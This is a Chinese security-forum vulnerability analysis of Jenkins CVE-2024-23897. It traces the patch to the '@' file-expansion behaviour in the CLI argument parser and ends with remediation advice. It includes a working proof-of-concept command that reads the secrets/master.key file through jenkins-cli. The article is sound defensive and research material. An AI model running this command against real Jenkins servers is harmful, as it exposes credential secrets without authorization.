问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
通过补丁分析Jenkins任意文件读取漏洞(CVE-2024-23897)
漏洞分析
通过补丁分析Jenkins任意文件读取漏洞(CVE-2024-23897)
作者:Le1a@threatbook 校验:jweny@threatboook 漏洞描述 ==== Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。Jenkins 有一个内置的命令行界面(CLI),可从脚本或 shell 环境访问 Jenkins。处理 CLI 命令时, Jenkins 使用args4j库解析 Jenkins 控制器上的命令参数和选项。 Jenkins处理CLI命令的命令解析器中的expandAtFile功能存在任意文件读取漏洞,未经身份认证的远程攻击者利用该漏洞可以读取部分文件的有限行内容,攻击者经过身份验证或目标Jenkins更改了默认”Security”配置可以通过该漏洞读取任意文件,攻击者进一步利用该漏洞并结合其他功能可能导致任意代码执行。 漏洞分析 ==== 该漏洞成因比较简单。 通过补丁可以发现,主要是对`CLICommand.java`文件做了修改。 ![image-20240125222325356](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-442146be7a097a28d1af20d9684d9e106d4fbbaf.png) 跟进该文件,可以发现在main函数中,把CLI的参数传入了`parseArgument()`函数进行解析 ![image-20240125222441002](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-fe85a7fb232fca9d6f3472d18a5568ea6aa61675.png) 继续跟进 ![image-20240125222705846](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-9710e63318cccc365f20019fdd1b8ca3b695c242.png) 继续跟进到`expandAtFiles()`函数后,可以发现,如果参数以`@`开头,那么将会把`@`后面的内容当作路径,建立一个File对象,并且会读取该文件的内容,并添加至result中返回。 ![image-20240125222834555](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-ce0cf81c5ac66cbbf9ba27f05e5850a981d19649.png) 而CLI参数可控,所以通过以下命令即可读取Jenkins中的`master.key`文件 ```php java -jar jenkins-cli.jar -s http://localhost:9095/ who-am-i @/var/jenkins_home/secrets/master.key ``` 漏洞复现 ==== 通过CLI工具读取目标服务器上的master.key文件 ```php java -jar jenkins-cli.jar -s http://localhost:9095/ who-am-i @/var/jenkins_home/secrets/master.key ``` ![9864903895a5f8fb7cd171b3a0e41987](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-bd311dd42c1f134adacf8c76c526070af2890204.png) 处置建议 ==== - 使用https://github.com/jenkinsci-cert/SECURITY-3314-3315中的脚本删除CLI HTTP端点和禁用SSH端口 - 目前官方已有可更新版本,建议受影响用户升级至: Jenkins >= 2.442 或Jenkins LTS >= 2.426.3。下载链接:<https://www.jenkins.io/download/>
发表于 2024-01-26 17:15:31
阅读 ( 34890 )
分类:
漏洞分析
4 推荐
收藏
0 条评论
请先
登录
后评论
jweny
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!